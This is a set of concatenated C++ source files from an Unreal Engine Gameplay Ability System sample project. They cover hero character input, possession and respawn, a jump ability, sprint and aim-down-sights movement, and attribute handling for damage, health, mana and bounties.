PlayerInputComponent->BindAxis("LookUp", this, &AGDHeroCharacter::LookUp);
PlayerInputComponent->BindAxis("LookUpRate", this, &AGDHeroCharacter::LookUpRate);
PlayerInputComponent->BindAxis("Turn", this, &AGDHeroCharacter::Turn);
PlayerInputComponent->BindAxis("TurnRate", this, &AGDHeroCharacter::TurnRate);
// Bind player input to the AbilitySystemComponent. Also called in OnRep_PlayerState because of a potential race condition.
BindASCInput();
}
// Server only
void AGDHeroCharacter::PossessedBy(AController * NewController)
{
Super::PossessedBy(NewController);
AGDPlayerState* PS = GetPlayerState<AGDPlayerState>();
if (PS)
{
// Set the ASC on the Server. Clients do this in OnRep_PlayerState()
AbilitySystemComponent = Cast<UGDAbilitySystemComponent>(PS->GetAbilitySystemComponent());
// AI won't have PlayerControllers so we can init again here just to be sure. No harm in initing twice for heroes that have PlayerControllers.
PS->GetAbilitySystemComponent()->InitAbilityActorInfo(PS, this);
// Set the AttributeSetBase for convenience attribute functions
AttributeSetBase = PS->GetAttributeSetBase();
// If we handle players disconnecting and rejoining in the future, we'll have to change this so that possession from rejoining doesn't reset attributes.
// For now assume possession = spawn/respawn.
InitializeAttributes();
// Respawn specific things that won't affect first possession.
// Forcibly set the DeadTag count to 0
AbilitySystemComponent->SetTagMapCount(DeadTag, 0);
// Set Health/Mana/Stamina to their max. This is only necessary for *Respawn*.
SetHealth(GetMaxHealth());
SetMana(GetMaxMana());
SetStamina(GetMaxStamina());
// End respawn specific things
AddStartupEffects();
AddCharacterAbilities();
AGDPlayerController* PC = Cast<AGDPlayerController>(GetController());
if (PC)
{
PC->CreateHUD();
}
InitializeFloatingStatusBar();
}
}
USpringArmComponent * AGDHeroCharacter::GetCameraBoom()
{
return CameraBoom;
}
UCameraComponent * AGDHeroCharacter::GetFollowCamera()
{
return FollowCamera;
}
float AGDHeroCharacter::GetStartingCameraBoomArmLength()
{
return StartingCameraBoomArmLength;
}
FVector AGDHeroCharacter::GetStartingCameraBoomLocation()
{
return StartingCameraBoomLocation;
}
UGDFloatingStatusBarWidget * AGDHeroCharacter::GetFloatingStatusBar()
{
return UIFloatingStatusBar;
}
USkeletalMeshComponent * AGDHeroCharacter::GetGunComponent() const
{
return GunComponent;
}
void AGDHeroCharacter::FinishDying()
{
if (GetLocalRole() == ROLE_Authority)
{
AGASDocumentationGameMode* GM = Cast<AGASDocumentationGameMode>(GetWorld()->GetAuthGameMode());
if (GM)
{
GM->HeroDied(GetController());
}
}
Super::FinishDying();
}
/**
* On the Server, Possession happens before BeginPlay.
* On the Client, BeginPlay happens before Possession.
* So we can't use BeginPlay to do anything with the AbilitySystemComponent because we don't have it until the PlayerState replicates from possession.
*/
void AGDHeroCharacter::BeginPlay()
{
Super::BeginPlay();
// Only needed for Heroes placed in world and when the player is the Server.
// On respawn, they are set up in PossessedBy.
// When the player a client, the floating status bars are all set up in OnRep_PlayerState.
InitializeFloatingStatusBar();
StartingCameraBoomArmLength = CameraBoom->TargetArmLength;
StartingCameraBoomLocation = CameraBoom->GetRelativeLocation();
}
void AGDHeroCharacter::PostInitializeComponents()
{
Super::PostInitializeComponents();
if (GunComponent && GetMesh())
{
GunComponent->AttachToComponent(GetMesh(), FAttachmentTransformRules::SnapToTargetNotIncludingScale, FName("GunSocket"));
}
}
void AGDHeroCharacter::LookUp(float Value)
{
if (IsAlive())
{
AddControllerPitchInput(Value);
}
}
void AGDHeroCharacter::LookUpRate(float Value)
{
if (IsAlive())
{
AddControllerPitchInput(Value * BaseLookUpRate * GetWorld()->DeltaTimeSeconds);
}
}
void AGDHeroCharacter::Turn(float Value)
{
if (IsAlive())
{
AddControllerYawInput(Value);
}
}
void AGDHeroCharacter::TurnRate(float Value)
{
if (IsAlive())
{
AddControllerYawInput(Value * BaseTurnRate * GetWorld()->DeltaTimeSeconds);
}
}
void AGDHeroCharacter::MoveForward(float Value)
{
AddMovementInput(UKismetMathLibrary::GetForwardVector(FRotator(0, GetControlRotation().Yaw, 0)), Value);
}
void AGDHeroCharacter::MoveRight(float Value)
{
AddMovementInput(UKismetMathLibrary::GetRightVector(FRotator(0, GetControlRotation().Yaw, 0)), Value);
}
void AGDHeroCharacter::InitializeFloatingStatusBar()
{
// Only create once
if (UIFloatingStatusBar || !AbilitySystemComponent.IsValid())
{
return;
}
// Setup UI for Locally Owned Players only, not AI or the server's copy of the PlayerControllers
AGDPlayerController* PC = Cast<AGDPlayerController>(UGameplayStatics::GetPlayerController(GetWorld(), 0));
if (PC && PC->IsLocalPlayerController())
{
if (UIFloatingStatusBarClass)
{
UIFloatingStatusBar = CreateWidget<UGDFloatingStatusBarWidget>(PC, UIFloatingStatusBarClass);
if (UIFloatingStatusBar && UIFloatingStatusBarComponent)
{
UIFloatingStatusBarComponent->SetWidget(UIFloatingStatusBar);
// Setup the floating status bar
UIFloatingStatusBar->SetHealthPercentage(GetHealth() / GetMaxHealth());
UIFloatingStatusBar->SetManaPercentage(GetMana() / GetMaxMana());
}
}
}
}
// Client only
void AGDHeroCharacter::OnRep_PlayerState()
{
Super::OnRep_PlayerState();
AGDPlayerState* PS = GetPlayerState<AGDPlayerState>();
if (PS)
{
// Set the ASC for clients. Server does this in PossessedBy.
AbilitySystemComponent = Cast<UGDAbilitySystemComponent>(PS->GetAbilitySystemComponent());
// Init ASC Actor Info for clients. Server will init its ASC when it possesses a new Actor.
AbilitySystemComponent->InitAbilityActorInfo(PS, this);
// Bind player input to the AbilitySystemComponent. Also called in SetupPlayerInputComponent because of a potential race condition.
BindASCInput();
// Set the AttributeSetBase for convenience attribute functions
AttributeSetBase = PS->GetAttributeSetBase();
// If we handle players disconnecting and rejoining in the future, we'll have to change this so that posession from rejoining doesn't reset attributes.
// For now assume possession = spawn/respawn.
InitializeAttributes();
AGDPlayerController* PC = Cast<AGDPlayerController>(GetController());
if (PC)
{
PC->CreateHUD();
}
// Simulated on proxies don't have their PlayerStates yet when BeginPlay is called so we call it again here
InitializeFloatingStatusBar();
// Respawn specific things that won't affect first possession.
// Forcibly set the DeadTag count to 0
AbilitySystemComponent->SetTagMapCount(DeadTag, 0);
// Set Health/Mana/Stamina to their max. This is only necessary for *Respawn*.
SetHealth(GetMaxHealth());
SetMana(GetMaxMana());
SetStamina(GetMaxStamina());
}
}
void AGDHeroCharacter::BindASCInput()
{
if (!ASCInputBound && AbilitySystemComponent.IsValid() && IsValid(InputComponent))
{
FTopLevelAssetPath AbilityEnumAssetPath = FTopLevelAssetPath(FName("/Script/GASDocumentation"), FName("EGDAbilityInputID"));
AbilitySystemComponent->BindAbilityActivationToInputComponent(InputComponent, FGameplayAbilityInputBinds(FString("ConfirmTarget"),
FString("CancelTarget"), AbilityEnumAssetPath, static_cast<int32>(EGDAbilityInputID::Confirm), static_cast<int32>(EGDAbilityInputID::Cancel)));
ASCInputBound = true;
}
}
<file_sep>/Source/GASDocumentation/Public/Characters/Abilities/GDDamageExecCalculation.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "GameplayEffectExecutionCalculation.h"
#include "GDDamageExecCalculation.generated.h"
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API UGDDamageExecCalculation : public UGameplayEffectExecutionCalculation
{
GENERATED_BODY()
public:
UGDDamageExecCalculation();
virtual void Execute_Implementation(const FGameplayEffectCustomExecutionParameters& ExecutionParams, OUT FGameplayEffectCustomExecutionOutput& OutExecutionOutput) const override;
};
<file_sep>/Source/GASDocumentation/Public/GDBlueprintLibrary.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Kismet/BlueprintFunctionLibrary.h"
#include "GameplayEffect.h"
#include "GDBlueprintLibrary.generated.h"
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API UGDBlueprintLibrary : public UBlueprintFunctionLibrary
{
GENERATED_BODY()
public:
};
<file_sep>/Source/GASDocumentation/Public/AI/GDHeroAIController.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "AIController.h"
#include "GDHeroAIController.generated.h"
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API AGDHeroAIController : public AAIController
{
GENERATED_BODY()
public:
AGDHeroAIController();
};
<file_sep>/Source/GASDocumentation/Private/Characters/Abilities/GDGA_CharacterJump.cpp
// Copyright 2020 <NAME>.
#include "Characters/Abilities/GDGA_CharacterJump.h"
#include "Characters/GDCharacterBase.h"
#include "GASDocumentation/GASDocumentation.h"
UGDGA_CharacterJump::UGDGA_CharacterJump()
{
AbilityInputID = EGDAbilityInputID::Jump;
InstancingPolicy = EGameplayAbilityInstancingPolicy::NonInstanced;
AbilityTags.AddTag(FGameplayTag::RequestGameplayTag(FName("Ability.Jump")));
}
void UGDGA_CharacterJump::ActivateAbility(const FGameplayAbilitySpecHandle Handle, const FGameplayAbilityActorInfo * ActorInfo, const FGameplayAbilityActivationInfo ActivationInfo, const FGameplayEventData * TriggerEventData)
{
if (HasAuthorityOrPredictionKey(ActorInfo, &ActivationInfo))
{
if (!CommitAbility(Handle, ActorInfo, ActivationInfo))
{
EndAbility(Handle, ActorInfo, ActivationInfo, true, true);
}
ACharacter * Character = CastChecked<ACharacter>(ActorInfo->AvatarActor.Get());
Character->Jump();
}
}
bool UGDGA_CharacterJump::CanActivateAbility(const FGameplayAbilitySpecHandle Handle, const FGameplayAbilityActorInfo * ActorInfo, const FGameplayTagContainer * SourceTags, const FGameplayTagContainer * TargetTags, OUT FGameplayTagContainer * OptionalRelevantTags) const
{
if (!Super::CanActivateAbility(Handle, ActorInfo, SourceTags, TargetTags, OptionalRelevantTags))
{
return false;
}
const AGDCharacterBase* Character = CastChecked<AGDCharacterBase>(ActorInfo->AvatarActor.Get(), ECastCheckedType::NullAllowed);
return Character && Character->CanJump();
}
void UGDGA_CharacterJump::InputReleased(const FGameplayAbilitySpecHandle Handle, const FGameplayAbilityActorInfo * ActorInfo, const FGameplayAbilityActivationInfo ActivationInfo)
{
if (ActorInfo != NULL && ActorInfo->AvatarActor != NULL)
{
CancelAbility(Handle, ActorInfo, ActivationInfo, true);
}
}
// Epic's comment
/**
* Canceling an non instanced ability is tricky. Right now this works for Jump since there is nothing that can go wrong by calling
* StopJumping() if you aren't already jumping. If we had a montage playing non instanced ability, it would need to make sure the
* Montage that *it* played was still playing, and if so, to cancel it. If this is something we need to support, we may need some
* light weight data structure to represent 'non intanced abilities in action' with a way to cancel/end them.
*/
void UGDGA_CharacterJump::CancelAbility(const FGameplayAbilitySpecHandle Handle, const FGameplayAbilityActorInfo * ActorInfo, const FGameplayAbilityActivationInfo ActivationInfo, bool bReplicateCancelAbility)
{
if (ScopeLockCount > 0)
{
WaitingToExecute.Add(FPostLockDelegate::CreateUObject(this, &UGDGA_CharacterJump::CancelAbility, Handle, ActorInfo, ActivationInfo, bReplicateCancelAbility));
return;
}
Super::CancelAbility(Handle, ActorInfo, ActivationInfo, bReplicateCancelAbility);
ACharacter * Character = CastChecked<ACharacter>(ActorInfo->AvatarActor.Get());
Character->StopJumping();
}<file_sep>/Source/GASDocumentation/GASDocumentation.cpp
// Copyright 2020 <NAME>.
#include "GASDocumentation/GASDocumentation.h"
#include "Modules/ModuleManager.h"
IMPLEMENT_PRIMARY_GAME_MODULE( FDefaultGameModuleImpl, GASDocumentation, "GASDocumentation" );
<file_sep>/Source/GASDocumentation/Public/Characters/GDCharacterMovementComponent.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "GameFramework/CharacterMovementComponent.h"
#include "GDCharacterMovementComponent.generated.h"
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API UGDCharacterMovementComponent : public UCharacterMovementComponent
{
GENERATED_BODY()
class FGDSavedMove : public FSavedMove_Character
{
public:
typedef FSavedMove_Character Super;
///@brief Resets all saved variables.
virtual void Clear() override;
///@brief Store input commands in the compressed flags.
virtual uint8 GetCompressedFlags() const override;
///@brief This is used to check whether or not two moves can be combined into one.
///Basically you just check to make sure that the saved variables are the same.
virtual bool CanCombineWith(const FSavedMovePtr& NewMove, ACharacter* Character, float MaxDelta) const override;
///@brief Sets up the move before sending it to the server.
virtual void SetMoveFor(ACharacter* Character, float InDeltaTime, FVector const& NewAccel, class FNetworkPredictionData_Client_Character & ClientData) override;
///@brief Sets variables on character movement component before making a predictive correction.
virtual void PrepMoveFor(class ACharacter* Character) override;
// Sprint
uint8 SavedRequestToStartSprinting : 1;
// Aim Down Sights
uint8 SavedRequestToStartADS : 1;
};
class FGDNetworkPredictionData_Client : public FNetworkPredictionData_Client_Character
{
public:
FGDNetworkPredictionData_Client(const UCharacterMovementComponent& ClientMovement);
typedef FNetworkPredictionData_Client_Character Super;
///@brief Allocates a new copy of our custom saved move
virtual FSavedMovePtr AllocateNewMove() override;
};
public:
UGDCharacterMovementComponent();
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "Sprint")
float SprintSpeedMultiplier;
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "Aim Down Sights")
float ADSSpeedMultiplier;
uint8 RequestToStartSprinting : 1;
uint8 RequestToStartADS : 1;
virtual float GetMaxSpeed() const override;
virtual void UpdateFromCompressedFlags(uint8 Flags) override;
virtual class FNetworkPredictionData_Client* GetPredictionData_Client() const override;
// Sprint
UFUNCTION(BlueprintCallable, Category = "Sprint")
void StartSprinting();
UFUNCTION(BlueprintCallable, Category = "Sprint")
void StopSprinting();
// Aim Down Sights
UFUNCTION(BlueprintCallable, Category = "Aim Down Sights")
void StartAimDownSights();
UFUNCTION(BlueprintCallable, Category = "Aim Down Sights")
void StopAimDownSights();
};
<file_sep>/Source/GASDocumentation/GASDocumentationGameMode.cpp
// Copyright 2020 <NAME>.
#include "GASDocumentation/GASDocumentationGameMode.h"
#include "Engine/World.h"
#include "Characters/Heroes/GDHeroCharacter.h"
#include "Player/GDPlayerController.h"
#include "Player/GDPlayerState.h"
#include "GameFramework/SpectatorPawn.h"
#include "Kismet/GameplayStatics.h"
#include "TimerManager.h"
#include "UObject/ConstructorHelpers.h"
AGASDocumentationGameMode::AGASDocumentationGameMode()
{
RespawnDelay = 5.0f;
HeroClass = StaticLoadClass(UObject::StaticClass(), nullptr, TEXT("/Game/GASDocumentation/Characters/Hero/BP_HeroCharacter.BP_HeroCharacter_C"));
if (!HeroClass)
{
UE_LOG(LogTemp, Error, TEXT("%s() Failed to find HeroClass. If it was moved, please update the reference location in C++."), *FString(__FUNCTION__));
}
}
void AGASDocumentationGameMode::HeroDied(AController* Controller)
{
FActorSpawnParameters SpawnParameters;
SpawnParameters.SpawnCollisionHandlingOverride = ESpawnActorCollisionHandlingMethod::AdjustIfPossibleButAlwaysSpawn;
ASpectatorPawn* SpectatorPawn = GetWorld()->SpawnActor<ASpectatorPawn>(SpectatorClass, Controller->GetPawn()->GetActorTransform(), SpawnParameters);
Controller->UnPossess();
Controller->Possess(SpectatorPawn);
FTimerHandle RespawnTimerHandle;
FTimerDelegate RespawnDelegate;
RespawnDelegate = FTimerDelegate::CreateUObject(this, &AGASDocumentationGameMode::RespawnHero, Controller);
GetWorldTimerManager().SetTimer(RespawnTimerHandle, RespawnDelegate, RespawnDelay, false);
AGDPlayerController* PC = Cast<AGDPlayerController>(Controller);
if (PC)
{
PC->SetRespawnCountdown(RespawnDelay);
}
}
void AGASDocumentationGameMode::BeginPlay()
{
Super::BeginPlay();
// Get the enemy hero spawn point
TArray<AActor*> Actors;
UGameplayStatics::GetAllActorsOfClass(GetWorld(), AActor::StaticClass(), Actors);
for (AActor* Actor : Actors)
{
if (Actor->GetName() == FString("EnemyHeroSpawn"))
{
EnemySpawnPoint = Actor;
break;
}
}
}
void AGASDocumentationGameMode::RespawnHero(AController * Controller)
{
if (Controller->IsPlayerController())
{
// Respawn player hero
AActor* PlayerStart = FindPlayerStart(Controller);
FActorSpawnParameters SpawnParameters;
SpawnParameters.SpawnCollisionHandlingOverride = ESpawnActorCollisionHandlingMethod::AdjustIfPossibleButAlwaysSpawn;
AGDHeroCharacter* Hero = GetWorld()->SpawnActor<AGDHeroCharacter>(HeroClass, PlayerStart->GetActorLocation(), PlayerStart->GetActorRotation(), SpawnParameters);
APawn* OldSpectatorPawn = Controller->GetPawn();
Controller->UnPossess();
OldSpectatorPawn->Destroy();
Controller->Possess(Hero);
}
else
{
// Respawn AI hero
FActorSpawnParameters SpawnParameters;
SpawnParameters.SpawnCollisionHandlingOverride = ESpawnActorCollisionHandlingMethod::AdjustIfPossibleButAlwaysSpawn;
AGDHeroCharacter* Hero = GetWorld()->SpawnActor<AGDHeroCharacter>(HeroClass, EnemySpawnPoint->GetActorTransform(), SpawnParameters);
APawn* OldSpectatorPawn = Controller->GetPawn();
Controller->UnPossess();
OldSpectatorPawn->Destroy();
Controller->Possess(Hero);
}
}
<file_sep>/Source/GASDocumentation/Private/Characters/Abilities/GDGameplayAbility.cpp
// Copyright 2020 <NAME>.
#include "Characters/Abilities/GDGameplayAbility.h"
#include "AbilitySystemComponent.h"
#include "GameplayTagContainer.h"
UGDGameplayAbility::UGDGameplayAbility()
{
// Default to Instance Per Actor
InstancingPolicy = EGameplayAbilityInstancingPolicy::InstancedPerActor;
// Default tags that block this ability from activating
ActivationBlockedTags.AddTag(FGameplayTag::RequestGameplayTag(FName("State.Dead")));
ActivationBlockedTags.AddTag(FGameplayTag::RequestGameplayTag(FName("State.Debuff.Stun")));
}
void UGDGameplayAbility::OnAvatarSet(const FGameplayAbilityActorInfo * ActorInfo, const FGameplayAbilitySpec & Spec)
{
Super::OnAvatarSet(ActorInfo, Spec);
if (ActivateAbilityOnGranted)
{
ActorInfo->AbilitySystemComponent->TryActivateAbility(Spec.Handle, false);
}
}
<file_sep>/Source/GASDocumentation/Private/UI/GDDamageTextWidgetComponent.cpp
// Copyright 2020 <NAME>.
#include "UI/GDDamageTextWidgetComponent.h"
<file_sep>/Source/GASDocumentation/Private/Characters/Abilities/AttributeSets/GDAttributeSetBase.cpp
// Copyright 2020 <NAME>.
#include "Characters/Abilities/AttributeSets/GDAttributeSetBase.h"
#include "Characters/GDCharacterBase.h"
#include "GameplayEffect.h"
#include "GameplayEffectExtension.h"
#include "Net/UnrealNetwork.h"
#include "Player/GDPlayerController.h"
UGDAttributeSetBase::UGDAttributeSetBase()
{
// Cache tags
HitDirectionFrontTag = FGameplayTag::RequestGameplayTag(FName("Effect.HitReact.Front"));
HitDirectionBackTag = FGameplayTag::RequestGameplayTag(FName("Effect.HitReact.Back"));
HitDirectionRightTag = FGameplayTag::RequestGameplayTag(FName("Effect.HitReact.Right"));
HitDirectionLeftTag = FGameplayTag::RequestGameplayTag(FName("Effect.HitReact.Left"));
}
void UGDAttributeSetBase::PreAttributeChange(const FGameplayAttribute& Attribute, float& NewValue)
{
// This is called whenever attributes change, so for max health/mana we want to scale the current totals to match
Super::PreAttributeChange(Attribute, NewValue);
// If a Max value changes, adjust current to keep Current % of Current to Max
if (Attribute == GetMaxHealthAttribute()) // GetMaxHealthAttribute comes from the Macros defined at the top of the header
{
AdjustAttributeForMaxChange(Health, MaxHealth, NewValue, GetHealthAttribute());
}
else if (Attribute == GetMaxManaAttribute())
{
AdjustAttributeForMaxChange(Mana, MaxMana, NewValue, GetManaAttribute());
}
else if (Attribute == GetMaxStaminaAttribute())
{
AdjustAttributeForMaxChange(Stamina, MaxStamina, NewValue, GetStaminaAttribute());
}
else if (Attribute == GetMoveSpeedAttribute())
{
// Cannot slow less than 150 units/s and cannot boost more than 1000 units/s
NewValue = FMath::Clamp<float>(NewValue, 150, 1000);
}
}
void UGDAttributeSetBase::PostGameplayEffectExecute(const FGameplayEffectModCallbackData & Data)
{
Super::PostGameplayEffectExecute(Data);
FGameplayEffectContextHandle Context = Data.EffectSpec.GetContext();
UAbilitySystemComponent* Source = Context.GetOriginalInstigatorAbilitySystemComponent();
const FGameplayTagContainer& SourceTags = *Data.EffectSpec.CapturedSourceTags.GetAggregatedTags();
FGameplayTagContainer SpecAssetTags;
Data.EffectSpec.GetAllAssetTags(SpecAssetTags);
// Get the Target actor, which should be our owner
AActor* TargetActor = nullptr;
AController* TargetController = nullptr;
AGDCharacterBase* TargetCharacter = nullptr;
if (Data.Target.AbilityActorInfo.IsValid() && Data.Target.AbilityActorInfo->AvatarActor.IsValid())
{
TargetActor = Data.Target.AbilityActorInfo->AvatarActor.Get();
TargetController = Data.Target.AbilityActorInfo->PlayerController.Get();
TargetCharacter = Cast<AGDCharacterBase>(TargetActor);
}
// Get the Source actor
AActor* SourceActor = nullptr;
AController* SourceController = nullptr;
AGDCharacterBase* SourceCharacter = nullptr;
if (Source && Source->AbilityActorInfo.IsValid() && Source->AbilityActorInfo->AvatarActor.IsValid())
{
SourceActor = Source->AbilityActorInfo->AvatarActor.Get();
SourceController = Source->AbilityActorInfo->PlayerController.Get();
if (SourceController == nullptr && SourceActor != nullptr)
{
if (APawn* Pawn = Cast<APawn>(SourceActor))
{
SourceController = Pawn->GetController();
}
}
// Use the controller to find the source pawn
if (SourceController)
{
SourceCharacter = Cast<AGDCharacterBase>(SourceController->GetPawn());
}
else
{
SourceCharacter = Cast<AGDCharacterBase>(SourceActor);
}
// Set the causer actor based on context if it's set
if (Context.GetEffectCauser())
{
SourceActor = Context.GetEffectCauser();
}
}
if (Data.EvaluatedData.Attribute == GetDamageAttribute())
{
// Try to extract a hit result
FHitResult HitResult;
if (Context.GetHitResult())
{
HitResult = *Context.GetHitResult();
}
// Store a local copy of the amount of damage done and clear the damage attribute
const float LocalDamageDone = GetDamage();
SetDamage(0.f);
if (LocalDamageDone > 0.0f)
{
// If character was alive before damage is added, handle damage
// This prevents damage being added to dead things and replaying death animations
bool WasAlive = true;
if (TargetCharacter)
{
WasAlive = TargetCharacter->IsAlive();
}
if (!TargetCharacter->IsAlive())
{
//UE_LOG(LogTemp, Warning, TEXT("%s() %s is NOT alive when receiving damage"), TEXT(__FUNCTION__), *TargetCharacter->GetName());
}
// Apply the health change and then clamp it
const float NewHealth = GetHealth() - LocalDamageDone;
SetHealth(FMath::Clamp(NewHealth, 0.0f, GetMaxHealth()));
if (TargetCharacter && WasAlive)
{
// This is the log statement for damage received. Turned off for live games.
//UE_LOG(LogTemp, Log, TEXT("%s() %s Damage Received: %f"), TEXT(__FUNCTION__), *GetOwningActor()->GetName(), LocalDamageDone);
// Play HitReact animation and sound with a multicast RPC.
const FHitResult* Hit = Data.EffectSpec.GetContext().GetHitResult();
if (Hit)
{
EGDHitReactDirection HitDirection = TargetCharacter->GetHitReactDirection(Data.EffectSpec.GetContext().GetHitResult()->Location);
switch (HitDirection)
{
case EGDHitReactDirection::Left:
TargetCharacter->PlayHitReact(HitDirectionLeftTag, SourceCharacter);
break;
case EGDHitReactDirection::Front:
TargetCharacter->PlayHitReact(HitDirectionFrontTag, SourceCharacter);
break;
case EGDHitReactDirection::Right:
TargetCharacter->PlayHitReact(HitDirectionRightTag, SourceCharacter);
break;
case EGDHitReactDirection::Back:
TargetCharacter->PlayHitReact(HitDirectionBackTag, SourceCharacter);
break;
}
}
else
{
// No hit result. Default to front.
TargetCharacter->PlayHitReact(HitDirectionFrontTag, SourceCharacter);
}
// Show damage number for the Source player unless it was self damage
if (SourceActor != TargetActor)
{
AGDPlayerController* PC = Cast<AGDPlayerController>(SourceController);
if (PC)
{
PC->ShowDamageNumber(LocalDamageDone, TargetCharacter);
}
}
if (!TargetCharacter->IsAlive())
{
// TargetCharacter was alive before this damage and now is not alive, give XP and Gold bounties to Source.
// Don't give bounty to self.
if (SourceController != TargetController)
{
// Create a dynamic instant Gameplay Effect to give the bounties
UGameplayEffect* GEBounty = NewObject<UGameplayEffect>(GetTransientPackage(), FName(TEXT("Bounty")));
GEBounty->DurationPolicy = EGameplayEffectDurationType::Instant;
int32 Idx = GEBounty->Modifiers.Num();
GEBounty->Modifiers.SetNum(Idx + 2);
FGameplayModifierInfo& InfoXP = GEBounty->Modifiers[Idx];
InfoXP.ModifierMagnitude = FScalableFloat(GetXPBounty());
InfoXP.ModifierOp = EGameplayModOp::Additive;
InfoXP.Attribute = UGDAttributeSetBase::GetXPAttribute();
FGameplayModifierInfo& InfoGold = GEBounty->Modifiers[Idx + 1];
InfoGold.ModifierMagnitude = FScalableFloat(GetGoldBounty());
InfoGold.ModifierOp = EGameplayModOp::Additive;
InfoGold.Attribute = UGDAttributeSetBase::GetGoldAttribute();
Source->ApplyGameplayEffectToSelf(GEBounty, 1.0f, Source->MakeEffectContext());
}
}
}
}
}// Damage
else if (Data.EvaluatedData.Attribute == GetHealthAttribute())
{
// Handle other health changes.
// Health loss should go through Damage.
SetHealth(FMath::Clamp(GetHealth(), 0.0f, GetMaxHealth()));
} // Health
else if (Data.EvaluatedData.Attribute == GetManaAttribute())
{
// Handle mana changes.
SetMana(FMath::Clamp(GetMana(), 0.0f, GetMaxMana()));
} // Mana
else if (Data.EvaluatedData.Attribute == GetStaminaAttribute())
{
// Handle stamina changes.
SetStamina(FMath::Clamp(GetStamina(), 0.0f, GetMaxStamina()));
}
}
void UGDAttributeSetBase::GetLifetimeReplicatedProps(TArray<FLifetimeProperty>& OutLifetimeProps) const
{
Super::GetLifetimeReplicatedProps(OutLifetimeProps);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, Health, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, MaxHealth, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, HealthRegenRate, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, Mana, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, MaxMana, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, ManaRegenRate, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, Stamina, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, MaxStamina, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, StaminaRegenRate, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, Armor, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, MoveSpeed, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, CharacterLevel, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, XP, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, XPBounty, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, Gold, COND_None, REPNOTIFY_Always);
DOREPLIFETIME_CONDITION_NOTIFY(UGDAttributeSetBase, GoldBounty, COND_None, REPNOTIFY_Always);
}
void UGDAttributeSetBase::AdjustAttributeForMaxChange(FGameplayAttributeData & AffectedAttribute, const FGameplayAttributeData & MaxAttribute, float NewMaxValue, const FGameplayAttribute & AffectedAttributeProperty)
{
UAbilitySystemComponent* AbilityComp = GetOwningAbilitySystemComponent();
const float CurrentMaxValue = MaxAttribute.GetCurrentValue();
if (!FMath::IsNearlyEqual(CurrentMaxValue, NewMaxValue) && AbilityComp)
{
// Change current value to maintain the current Val / Max percent
const float CurrentValue = AffectedAttribute.GetCurrentValue();
float NewDelta = (CurrentMaxValue > 0.f) ? (CurrentValue * NewMaxValue / CurrentMaxValue) - CurrentValue : NewMaxValue;
AbilityComp->ApplyModToAttributeUnsafe(AffectedAttributeProperty, EGameplayModOp::Additive, NewDelta);
}
}
void UGDAttributeSetBase::OnRep_Health(const FGameplayAttributeData& OldHealth)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, Health, OldHealth);
}
void UGDAttributeSetBase::OnRep_MaxHealth(const FGameplayAttributeData& OldMaxHealth)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, MaxHealth, OldMaxHealth);
}
void UGDAttributeSetBase::OnRep_HealthRegenRate(const FGameplayAttributeData& OldHealthRegenRate)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, HealthRegenRate, OldHealthRegenRate);
}
void UGDAttributeSetBase::OnRep_Mana(const FGameplayAttributeData& OldMana)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, Mana, OldMana);
}
void UGDAttributeSetBase::OnRep_MaxMana(const FGameplayAttributeData& OldMaxMana)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, MaxMana, OldMaxMana);
}
void UGDAttributeSetBase::OnRep_ManaRegenRate(const FGameplayAttributeData& OldManaRegenRate)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, ManaRegenRate, OldManaRegenRate);
}
void UGDAttributeSetBase::OnRep_Stamina(const FGameplayAttributeData& OldStamina)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, Stamina, OldStamina);
}
void UGDAttributeSetBase::OnRep_MaxStamina(const FGameplayAttributeData& OldMaxStamina)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, MaxStamina, OldMaxStamina);
}
void UGDAttributeSetBase::OnRep_StaminaRegenRate(const FGameplayAttributeData& OldStaminaRegenRate)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, StaminaRegenRate, OldStaminaRegenRate);
}
